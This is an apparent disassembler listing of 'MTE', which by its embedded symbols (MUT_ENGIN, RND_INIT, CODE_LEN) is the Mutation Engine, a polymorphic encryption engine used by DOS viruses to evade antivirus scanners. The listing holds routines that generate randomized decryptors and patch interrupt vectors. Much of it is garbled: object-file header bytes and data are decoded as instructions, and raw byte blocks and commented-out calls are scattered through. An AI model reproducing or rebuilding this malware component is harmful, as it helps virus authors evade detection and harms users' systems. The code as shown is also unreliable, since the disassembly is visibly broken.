PAGE  59,132
  
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ								         ÛÛ
;ÛÛ			        MTE				         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ      Created:   17-Aug-91					         ÛÛ
;ÛÛ      Version:						         ÛÛ
;ÛÛ      Code type: zero start					         ÛÛ
;ÛÛ      Passes:    9	       Analysis Options on: none	         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛ								         ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
  
data_1e		equ	0			; (0000:0000=0E8h)
data_2e		equ	0Ch			; (0000:000C=5)
data_3e		equ	63h			; (0000:0063=0F6h)
data_4e		equ	12Eh			; (0000:012E=0)
data_5e		equ	132h			; (0000:0132=0F000h)
data_6e		equ	134h			; (0000:0134=0E0h)
data_7e		equ	13Ch			; (0000:013C=0E0h)
data_8e		equ	150h			; (0000:0150=0E0h)
data_9e		equ	559h			; (0000:0559=0)
data_10e	equ	132h			; (0101:0132=70h)
data_11e	equ	71h			; (5F44:0071=0FFh)
data_12e	equ	0E7h			; (5F44:00E7=0FFFFh)
data_13e	equ	116h			; (5F44:0116=0FFh)
data_14e	equ	129h			; (5F44:0129=0FFh)
data_15e	equ	359h			; (5F44:0359=0FFh)
data_26e	equ	9101h			; (78CA:9101=0)
data_27e	equ	23h			; (FFE7:0023=0)
data_28e	equ	63h			; (FFE7:0063=0)
data_29e	equ	129h			; (FFE7:0129=0)
data_30e	equ	135h			; (FFE7:0135=0)
data_31e	equ	136h			; (FFE7:0136=0)
data_32e	equ	150h			; (FFE7:0150=0)
data_33e	equ	159h			; (FFE7:0159=0)
data_34e	equ	559h			; (FFE7:0559=0)
data_35e	equ	3585h			; (FFE7:3585=36h)
  
seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a
  
  
		org	0
  
mte		proc	far
  
start:
		or	byte ptr [bx+di],0
		pop	es
		db	'mte.ASM', 1Bh
		db	 88h, 1Fh, 00h, 00h, 00h
		db	'Turbo Assembler  Version 2.5'
		db	0B4h, 88h, 0Fh, 00h, 40h,0E9h
		db	0C9h, 93h, 12h, 17h, 07h
		db	'mte.ASM_'
		db	 88h, 03h, 00h, 40h,0E9h, 4Ch
		db	 96h, 02h, 00h, 00h, 68h, 88h
		db	 03h, 00h, 40h,0A1h, 94h, 96h
		db	 0Ch, 00h, 05h, 5Fh, 54h, 45h
		db	 58h, 54h, 04h, 43h, 4Fh, 44h
		db	 45h, 96h, 98h, 07h, 00h, 48h
		db	 34h, 08h, 02h, 03h, 01h,0D7h
		db	 96h, 0Ch, 00h, 05h, 5Fh, 44h
		db	 41h, 54h, 41h, 04h, 44h, 41h
		db	 54h, 41h,0C2h, 98h, 07h, 00h
		db	 48h, 00h, 00h, 04h, 05h, 01h
		db	 0Fh, 96h, 08h, 00h, 06h, 44h
		db	 47h, 52h, 4Fh, 55h, 50h, 8Bh
		db	 9Ah, 06h, 00h, 06h,0FFh, 02h
		db	0FFh, 01h, 59h, 8Ch, 14h, 00h
		db	8, 'RND_INIT'
		db	 00h, 07h, 52h, 4Eh, 44h, 5Fh
		db	 47h, 45h, 54h, 00h,0B7h, 90h
		db	 10h, 00h, 00h, 00h, 00h, 00h
		db	 07h, 4Dh, 41h, 58h, 5Fh, 41h
		db	 44h, 44h, 00h, 02h, 00h, 49h
		db	 90h, 14h, 00h, 00h, 00h, 00h
		db	 00h, 0Bh
		db	'MAX_ADD_LEN'
		db	 19h, 00h, 00h,0ECh, 90h, 11h
		db	 00h, 01h, 01h
		db	0Ah, 'MUT_ENGIN'
data_16		db	45h
		db	 09h, 00h, 00h, 3Fh, 90h, 11h
		db	 00h, 00h, 00h, 00h, 00h
		db	8, 'CODE_LEN4', 8
		db	 00h,0C2h, 90h, 0Fh, 00h, 01h
		db	 01h
		db	8, 'CODE_TOP4', 8
		db	 00h,0AEh, 90h, 11h, 00h, 01h
		db	 01h
		db	0Ah, 'CODE_START'
		db	 00h, 00h, 00h, 4Bh, 90h, 10h
		db	 00h
data_17		db	0
		db	0, 0
data_18		db	0
		db	 07h, 4Dh
data_19		db	41h
		db	 58h, 5Fh, 4Ch, 45h, 4Eh
data_20		db	72h
data_21		dw	5
		db	0BEh, 88h, 04h, 00h
loc_1:
		inc	ax
		mov	ds:data_26e,al		; (78CA:9101=0)
		mov	al,byte ptr ds:[3E8h]	; (78CA:03E8=0C3h)
		add	[bx+si],ax
		add	[di+74h],cl
		inc	bp
		and	[bx+si],dh
  
locloop_2:
		cmp	cs:[bx+si],si
		loopz	locloop_2		; Loop if zf=1, cx>0
  
		push	ds
		push	dx
		push	bp
		call	sub_2			; (017C)
		mov	bx,dx
		xchg	ax,bp
		pop	dx
		pop	si
		pop	bp
		sub	bx,di
		push	bx
		push	di
		push	cx
		call	sub_5			; (0222)
		pop	cx
		pop	si
		mov	di,data_9e		; (0000:0559=0)
		sub	di,cx
		push	di
		push	dx
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		pop	cx
		pop	dx
		pop	si
		sub	cx,dx
		sub	di,dx
  
mte		endp
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_1		proc	near
		mov	ax,ds:data_31e		; (FFE7:0136=0)
		neg	ax
		retn
sub_1		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_2		proc	near
		push	es
		pop	ds
		add	cx,16h
		neg	cx
		and	cl,0FEh
		jnz	loc_3			; Jump if not zero
		dec	cx
		dec	cx
loc_3:
		xchg	ax,di
		mov	ds:data_5e,ax		; (0000:0132=0F000h)
loc_4:
		add	ax,cx
		and	al,0FEh
		jnz	loc_5			; Jump if not zero
		dec	ax
		dec	ax
loc_5:
		push	ax
		xchg	ax,di
		mov	di,data_6e		; (0000:0134=0E0h)
		stosw				; Store ax to es:[di]
		xchg	ax,cx
		stosw				; Store ax to es:[di]
		xchg	ax,bp
		stosw				; Store ax to es:[di]
		xchg	ax,si
		stosw				; Store ax to es:[di]
		mov	cl,20h			; ' '
		shl	cl,cl			; Shift w/zeros fill
		xor	cl,20h			; ' '
		mov	[di-0Dh],cl
loc_6:
		pop	bp
		push	bp
		push	bx
		call	sub_3			; (01B2)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_3:
		mov	di,data_7e		; (0000:013C=0E0h)
		mov	cx,8
		mov	al,0FFh
		rep	stosb			; Rep when cx >0 Store al to es:[di]
		mov	di,159h
		mov	bl,7
		call	sub_4			; (01DD)
		dec	di
		cmp	di,159h
		je	loc_7			; Jump if equal
		push	dx
		push	di
		push	bp
		mov	ax,1
		call	sub_6			; (0284)
		pop	di
		xchg	ax,bp
		stosw				; Store ax to es:[di]
		pop	di
		pop	dx
loc_7:
		pop	bx
		pop	ax
		xor	bp,bp			; Zero register
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_4:
		push	ax
		push	bx
		push	dx
		push	di
		xor	ax,ax			; Zero register
		mov	di,data_3e		; (0000:0063=0F6h)
		mov	cx,di
		rep	stosw			; Rep when cx >0 Store ax to es:[di]
		mov	al,4
		xchg	al,[di+0Ch]
		push	ax
		mov	dx,[di+0Dh]
		mov	di,359h
		push	bp
		call	sub_22			; (04C3)
		pop	bp
		call	sub_19			; (0448)
		pop	ax
		pop	di
		pop	dx
		mov	data_20,al		; (78CA:0135=72h)
		and	al,1
		sub	data_19,al		; (78CA:012F=41h)
		push	ax
		call	sub_23			; (04CE)
		pop	ax
		add	[si-1Dh],al
		xchg	ax,bx
		pop	bx
		sub	ax,150h
		jc	loc_6			; Jump if carry Set
		jnz	loc_8			; Jump if not zero
		cmp	[si-12h],ax
		jne	loc_6			; Jump if not equal
loc_8:
		pop	bx
		retn
sub_2		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_5		proc	near
		add	cx,dx
		mov	dx,di
		xchg	ax,di
		mov	ax,ds:data_10e		; (0101:0132=70h)
		test	ax,ax
		jnz	loc_9			; Jump if not zero
		mov	di,data_34e		; (FFE7:0559=0)
loc_9:
		mov	bx,data_33e		; (FFE7:0159=0)
		push	cx
		push	ax
loc_10:
		cmp	bx,dx
		je	loc_12			; Jump if equal
		dec	bx
		mov	al,[bx]
		xor	al,1
		cmp	al,61h			; 'a'
		je	loc_11			; Jump if equal
		xor	al,9
loc_11:
		stosb				; Store al to es:[di]
		inc	cx
		jmp	short loc_10		; (0236)
loc_12:
		pop	dx
		pop	ax
		mov	bx,data_32e		; (FFE7:0150=0)
		test	dx,dx
		jz	loc_13			; Jump if zero
		xchg	ax,cx
		mov	al,0E9h
		stosb				; Store al to es:[di]
		mov	bx,di
		xchg	ax,dx
		stosw				; Store ax to es:[di]
		mov	di,data_34e		; (FFE7:0559=0)
loc_13:
		test	byte ptr ds:data_30e,8	; (FFE7:0135=0)
		jnz	loc_14			; Jump if not zero
		neg	cx
		and	cx,0Fh
		mov	al,90h
		rep	stosb			; Rep when cx >0 Store al to es:[di]
loc_14:
		lea	ax,[di-559h]		; Load effective addr
		add	[bx],ax
		and	al,0FEh
		add	ds:data_31e,ax		; (FFE7:0136=0)
		call	sub_1			; (0176)
		mov	ds,bp
		shr	ax,1			; Shift w/zeros fill
		mov	cx,ax
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_6:
		push	di
		push	ax
		xor	cx,cx			; Zero register
		mov	ds,cx
		mov	cx,cs
		mov	bx,1A3h
		mov	di,data_2e		; (0000:000C=5)
		cli				; Disable interrupts
		xchg	cx,[di+2]
		xchg	bx,[di]
		sti				; Enable interrupts
		push	cx
		push	bx
		push	di
		push	ds
		push	es
		pop	ds
		push	cs
		mov	bx,359h
		call	sub_8			; (02E4)
		xchg	ax,bp
		pop	es
		pop	di
		cli				; Disable interrupts
		pop	ax
		stosw				; Store ax to es:[di]
		pop	ax
		stosw				; Store ax to es:[di]
		sti				; Enable interrupts
		pop	bx
		push	ds
		pop	es
		mov	di,data_28e		; (FFE7:0063=0)
		xor	si,si			; Zero register
		mov	cx,21h
loc_15:
		xor	ax,ax			; Zero register
		repe	scasw			; Rep zf=1+cx >0 Scan es:[di] for ax
		jz	loc_17			; Jump if zero
		mov	ax,[di-2]
		cmp	ax,si
		jb	loc_15			; Jump if below
		mov	dx,1
		xchg	ax,si
		mov	ax,[di+40h]
		cmp	ax,bx
		je	loc_16			; Jump if equal
		or	ax,ax			; Zero ?
		jnz	loc_15			; Jump if not zero
		lodsb				; String [si] to al
		cbw				; Convrt byte to word
		xchg	ax,dx
loc_16:
		call	sub_7			; (02DC)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_7:
		mov	[si],al
		inc	si
		dec	dx
		jnz	loc_16			; Jump if not zero
		jmp	short loc_15		; (02BA)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_8:
		push	es
		push	bx
		retf				; Return far
loc_17:
		pop	dx
		retn
sub_5		endp
  
		push	bp
		mov	bp,sp
		push	di
		push	cx
		push	bx
		push	ax
		mov	bx,[bp+2]
		mov	al,[bx]
		jnz	loc_18			; Jump if not zero
		xchg	ax,bx
		mov	di,offset data_16	; (78CA:00E7=45h)
		mov	cx,21h
		repne	scasw			; Rep zf=0+cx >0 Scan es:[di] for ax
		inc	word ptr [di-44h]
		mov	al,ch
loc_18:
		cbw				; Convrt byte to word
		inc	ax
		add	[bp+2],ax
		pop	ax
		pop	bx
		pop	cx
		pop	di
		pop	bp
		iret				; Interrupt return
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_9		proc	near
		mov	di,data_29e		; (FFE7:0129=0)
		mov	ax,101h
		stosb				; Store al to es:[di]
		stosw				; Store ax to es:[di]
		mov	ah,81h
		mov	ds:data_1e,ax		; (0000:0000=0E8h)
loc_19:
		call	sub_10			; (0320)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_10:
		xchg	ax,dx
		call	sub_11			; (0324)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_11:
		mov	bl,[di-1]
		xor	bh,bh			; Zero register
		mov	si,bx
		mov	cx,[si-1]
		cmp	ch,6
		jne	loc_21			; Jump if not equal
loc_20:
		or	dl,1
		jmp	short loc_23		; (034F)
loc_21:
		cmp	ch,86h
		jne	loc_22			; Jump if not equal
		xor	cl,cl			; Zero register
		inc	bx
loc_22:
		and	al,[di+2]
		cmp	al,bl
		jae	$+22h			; Jump if above or =
		shr	bl,1			; Shift w/zeros fill
		jnc	loc_23			; Jump if carry=0
		or	cl,cl			; Zero ?
		jz	loc_24			; Jump if zero
loc_23:
		or	dl,dl			; Zero ?
loc_24:
		mov	al,0
		jnz	loc_25			; Jump if not zero
		or	bp,bp			; Zero ?
		jnz	loc_20			; Jump if not zero
		mov	al,2
loc_25:
		or	ch,ch			; Zero ?
		jns	loc_26			; Jump if not sign
		mov	[di],si
		mov	al,1
loc_26:
		mov	[si],al
		jmp	short loc_29		; (0395)
		xchg	ax,dx
		db	0D4h, 0Ch, 80h,0E5h, 80h, 74h
		db	 02h,0D0h,0E8h, 40h, 40h, 40h
		db	 8Ah,0E0h, 88h, 04h, 8Ah, 55h
		db	0FEh, 42h, 8Ah,0F2h,0FEh,0C6h
		db	 88h, 75h,0FEh, 8Ah,0DAh,0B7h
		db	 00h, 8Ah,0CFh, 73h, 04h, 3Ch
		db	 06h, 72h, 02h
loc_27:
		xchg	cl,ch
loc_28:
		xor	ax,cx
		mov	[bx],ax
loc_29:
		shl	si,1			; Shift w/zeros fill
		mov	[si+21h],dx
		inc	byte ptr [di-1]
		mov	al,[di-2]
		cmp	al,[di-1]
		jb	loc_ret_36		; Jump if below
		jmp	loc_19			; (031D)
loc_30:
		dec	bp
		or	dh,dh			; Zero ?
		jns	loc_42			; Jump if not sign
		mov	dh,[si]
		inc	bp
		jz	loc_30			; Jump if zero
		dec	bp
		jnz	loc_37			; Jump if not zero
		push	bx
		mov	bx,offset ds:[2A7h]	; (78CA:02A7=7)
		xchg	al,dh
		xlat cs:[bx]			; al=[al+[bx]] table
		cmp	al,86h
		xchg	al,dh
		xchg	ax,bx
		mov	cl,2Eh			; '.'
		mov	al,ds:data_30e		; (FFE7:0135=0)
		jnz	loc_32			; Jump if not zero
		test	al,2
		jnz	loc_31			; Jump if not zero
		mov	cl,3Eh			; '>'
loc_31:
		test	al,4
		jmp	short loc_34		; (03DB)
loc_32:
		test	al,4
		jnz	loc_33			; Jump if not zero
		mov	cl,36h			; '6'
loc_33:
		test	al,2
loc_34:
		jz	loc_35			; Jump if zero
		mov	al,cl
		stosb				; Store al to es:[di]
loc_35:
		pop	ax
		call	sub_14			; (0421)
		mov	[si-1Ch],di
		stosw				; Store ax to es:[di]
  
loc_ret_36:
		retn
loc_37:
		mov	dx,bp
		lea	bp,[di+1]		; Load effective addr
loc_38:
		stc				; Set carry flag
		retn
		xchg	ax,[bx+si]
		xchg	al,ds:data_35e[si]	; (FFE7:3585=36h)
		out	0Ah,ax			; port 0Ah, DMA-1 mask reg bit
		idiv	byte ptr [bx+si-4Eh]	; al,ah rem = ax/data
		cmp	dh,al
		je	loc_ret_36		; Jump if equal
		cmp	byte ptr [si-1Dh],0FFh
		jne	loc_42			; Jump if not equal
		push	ax
		or	dh,dh			; Zero ?
		jz	loc_39			; Jump if zero
		or	al,al			; Zero ?
		jnz	loc_41			; Jump if not zero
		mov	al,dh
loc_39:
		or	bp,bp			; Zero ?
		jnz	loc_40			; Jump if not zero
		cmp	al,[si]
		je	loc_41			; Jump if equal
loc_40:
		pop	bx
		or	al,90h
		stosb				; Store al to es:[di]
		retn
loc_41:
		pop	ax
loc_42:
		or	al,18h
		xchg	ax,bx
sub_9		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_14		proc	near
		stosb				; Store al to es:[di]
		xchg	ax,bx
		mov	cl,3
		shl	al,cl			; Shift w/zeros fill
		or	al,dh
		stosb				; Store al to es:[di]
		retn
sub_14		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_16		proc	near
		mov	bx,ax
		shr	al,1			; Shift w/zeros fill
		mov	cx,ax
		shl	cx,1			; Shift w/zeros fill
		mov	di,data_27e		; (FFE7:0023=0)
loc_43:
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		jnz	loc_38			; Jump if not zero
		lea	si,[di-22h]		; Load effective addr
		shr	si,1			; Shift w/zeros fill
		cmp	byte ptr [si],3
		jb	loc_43			; Jump if below
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_17:
		lea	ax,[di-22h]		; Load effective addr
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_18:
		retn
sub_16		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_19		proc	near
		mov	al,data_18		; (78CA:012C=0)
		cbw				; Convrt byte to word
		shl	al,1			; Shift w/zeros fill
		call	sub_16			; (042B)
		jc	loc_ret_53		; Jump if carry Set
		mov	ds:data_14e,al		; (5F44:0129=0FFh)
loc_44:
		call	sub_16			; (042B)
		jnc	loc_45			; Jump if carry=0
		xor	al,al			; Zero register
loc_45:
		push	ax
		shr	al,1			; Shift w/zeros fill
		mov	[bx+21h],al
		shr	bl,1			; Shift w/zeros fill
		lahf				; Load ah from flags
		mov	al,[bx]
		and	al,7Fh
		cmp	al,3
		jne	loc_46			; Jump if not equal
		sahf				; Store ah into flags
		jc	loc_52			; Jump if carry Set
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_21:
		inc	ax
		jmp	short loc_51		; (04B7)
loc_46:
		cmp	al,4
		jne	loc_48			; Jump if not equal
		sahf				; Store ah into flags
		jnc	loc_47			; Jump if carry=0
		mov	si,bx
		mov	cl,8
		rol	word ptr [bx+si+21h],cl	; Rotate
loc_47:
		dec	ax
		jmp	short loc_51		; (04B7)
loc_48:
		cmp	al,6
		jb	loc_52			; Jump if below
		jnz	loc_50			; Jump if not zero
		shl	bl,1			; Shift w/zeros fill
		mov	bl,[bx+22h]
		shl	bl,1			; Shift w/zeros fill
		mov	si,[bx+21h]
		xor	ax,ax			; Zero register
		mov	dx,1
		mov	cx,ax
		mov	di,dx
loc_49:
		mov	[bx+21h],di
		dec	si
		jz	loc_52			; Jump if zero
		inc	si
		div	si			; ax,dx rem=dx:ax/reg
		push	dx
		mul	di			; dx:ax = reg * ax
		sub	cx,ax
		xchg	cx,di
		mov	ax,si
		xor	dx,dx			; Zero register
		pop	si
		jmp	short loc_49		; (049E)
loc_50:
		xor	al,0Fh
loc_51:
		mov	[bx],al
loc_52:
		pop	ax
		or	al,al			; Zero ?
		jnz	loc_44			; Jump if not zero
		shr	data_17,1		; (78CA:0129=0) Shift w/zeros fill
  
loc_ret_53:
		retn
sub_19		endp
  
  
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
  
sub_22		proc	near
		mov	ds:data_4e,bl		; (0000:012E=0)
		push	dx
		push	di
		call	sub_9			; (0310)
		pop	di
		pop	dx
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_23:
		push	di
		mov	di,offset ds:[144h]	; (78CA:0144=0)
		mov	ax,0FFFFh
		stosw				; Store ax to es:[di]
		inc	al
		stosw				; Store ax to es:[di]
		stosw				; Store ax to es:[di]
		dec	al
		stosw				; Store ax to es:[di]
		mov	[di+3],al
		mov	bl,[di-23h]
		push	bx
		push	dx
;*		call	sub_32			;*(0682)
		db	0E8h, 9Ah, 01h
		mov	si,di
		call	sub_35			; (06E6)
		pop	dx
		pop	bx
		pop	di
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_25:
		push	bx
		inc	bp
		jz	loc_54			; Jump if zero
		dec	bp
;*		jnz	loc_57			;*Jump if not zero
		db	 75h, 62h
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_26:
		inc	bp
loc_54:
		dec	bp
		inc	dx
		jz	loc_55			; Jump if zero
		dec	dx
		dec	bp
		mov	al,[si]
;*		call	sub_42			;*(095B)
		db	0E8h, 58h, 04h
		inc	bp
loc_55:
		pop	bx
		push	di
		call	sub_36			; (070E)
		or	bp,bp			; Zero ?
		jnz	loc_56			; Jump if not zero
		pop	cx
		dec	bp
		mov	ax,150h
		xchg	ax,[si-1Ch]
		or	dh,dh			; Zero ?
		js	$+22h			; Jump if sign=1
		inc	bp
		push	cx
		push	ax
		mov	al,[si+3]
		and	al,0B7h
		cmp	al,87h
		jne	loc_58			; Jump if not equal
		cmp	bp,[si-12h]
		jne	loc_58			; Jump if not equal
		db	 6Dh, 9Ch, 1Fh, 00h, 84h, 6Ah
		db	 16h, 01h, 01h, 85h, 94h, 16h
		db	 01h, 02h, 85h,0D8h, 16h, 01h
		db	 02h, 85h,0DCh, 16h, 01h, 02h
		db	0C5h, 47h, 14h, 01h, 01h,0C6h
		db	 71h, 14h, 01h, 01h,0AEh,0A0h
		db	0E7h, 03h, 01h
loc_56:
		in	al,3			; port 3, DMA-1 bas&cnt ch 1
		xor	byte ptr [di-4],2
		shl	byte ptr [si+3],1	; Shift w/zeros fill
		jns	loc_62			; Jump if not sign
		mov	bl,0F7h
		mov	al,3
		jmp	short loc_61		; (05A3)
		cmp	cx,15Ch
		jne	loc_59			; Jump if not equal
		sub	cx,3
		sub	di,3
		mov	bl,[si]
loc_58:
		xor	bh,bh			; Zero register
		dec	byte ptr [bx+si-10h]
loc_59:
		mov	bx,data_8e		; (0000:0150=0E0h)
		jmp	short loc_65		; (05E7)
		or	dh,dh			; Zero ?
		jns	loc_60			; Jump if not sign
		mov	dh,[si]
		jmp	short loc_60		; (0592)
		push	bp
		call	sub_40			; (0737)
		mov	al,[si+1]
		or	al,90h
		stosb				; Store al to es:[di]
		pop	ax
		or	dh,dh			; Zero ?
		jns	loc_60			; Jump if not sign
		xchg	ax,dx
loc_60:
		pop	ax
		mov	bh,0FFh
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_27:
		mov	byte ptr [di],0CBh
		retn
		db	0E8h, 00h, 00h
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_28:
		and	al,2
		add	al,87h
		xchg	ax,bx
		mov	al,dh
loc_61:
;*		call	sub_13			;*(03D6)
		db	0E8h, 30h,0FEh
loc_62:
		mov	al,[si]
		cmp	di,359h
		jae	loc_63			; Jump if above or =
		push	ax
		dec	bp
		xor	dl,dl			; Zero register
		mov	dh,al
		shr	byte ptr [si-1Eh],1	; Shift w/zeros fill
		call	sub_25			; (04F0)
		push	dx
		push	di
		call	sub_21			; (0471)
		call	sub_31			; (0675)
		pop	di
		pop	dx
		push	cx
		call	sub_26			; (04F7)
		pop	cx
		pop	ax
;*		call	sub_44			;*(0984)
		db	0E8h,0B7h, 03h
		or	ch,ch			; Zero ?
		js	loc_64			; Jump if sign=1
loc_63:
		or	al,40h			; '@'
		stosb				; Store al to es:[di]
		stosb				; Store al to es:[di]
loc_64:
		mov	al,75h			; 'u'
		stosb				; Store al to es:[di]
		pop	bx
		pop	ax
		mov	cx,ax
		sub	ax,di
		dec	ax
		stosb				; Store al to es:[di]
		or	al,al			; Zero ?
		js	loc_65			; Jump if sign=1
		xor	bx,bx			; Zero register
		retn
loc_65:
		call	sub_27			; (0595)
		push	cx
		mov	dx,559h
		cmp	di,359h
		jae	loc_72			; Jump if above or =
		push	bx
		mov	bl,7
		mov	dx,bp
;*		call	sub_24			;*(04EC)
		db	0E8h,0F0h,0FEh
		push	di
		mov	di,offset ds:[158h]	; (78CA:0158=95h)
		xor	bx,bx			; Zero register
		mov	dx,di
		mov	cl,[si-18h]
loc_66:
		shr	cl,1			; Shift w/zeros fill
		pushf				; Push flags
		jnc	loc_67			; Jump if carry=0
		cmp	bh,[bx+si-10h]
		jne	loc_67			; Jump if not equal
		lea	ax,[bx+50h]		; Load effective addr
		std				; Set direction flag
		stosb				; Store al to es:[di]
loc_67:
		inc	bx
		popf				; Pop flags
		jnz	loc_66			; Jump if not zero
		inc	di
		cmp	di,dx
		jae	loc_70			; Jump if above or =
		cmp	bh,[si-1Dh]
		jne	loc_68			; Jump if not equal
		mov	di,dx
		mov	byte ptr [di],60h	; '`'
		jmp	short loc_70		; (0643)
loc_68:
		push	di
loc_69:
		call	sub_29			; (062F)
  
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
  
sub_29:
		and	al,7
		cbw				; Convrt byte to word
		xchg	ax,bx
		add	bx,di
		cmp	bx,dx
		ja	loc_69			; Jump if above
		mov	al,[di]
		xchg	al,[bx]
		stosb				; Store al to es:[di]
		cmp	di,dx
		jne	loc_69			; Jump if not equal
		pop	di
loc_70:
		pop	bp
		mov	cx,bp
		sub	cx,di
		cmp	word ptr [si-1Ah],0
		je	loc_71			; Jump if equal
		add	cx,15Ch
		sub	cx,di
loc_71:
		mov	dx,[si-14h]
		mov	ax,dx
		add	dx,cx
		add	ax,[si-12h]
		pop	bx
		cmp	word ptr [si-12h],0
		jne	loc_73			; Jump if not equal
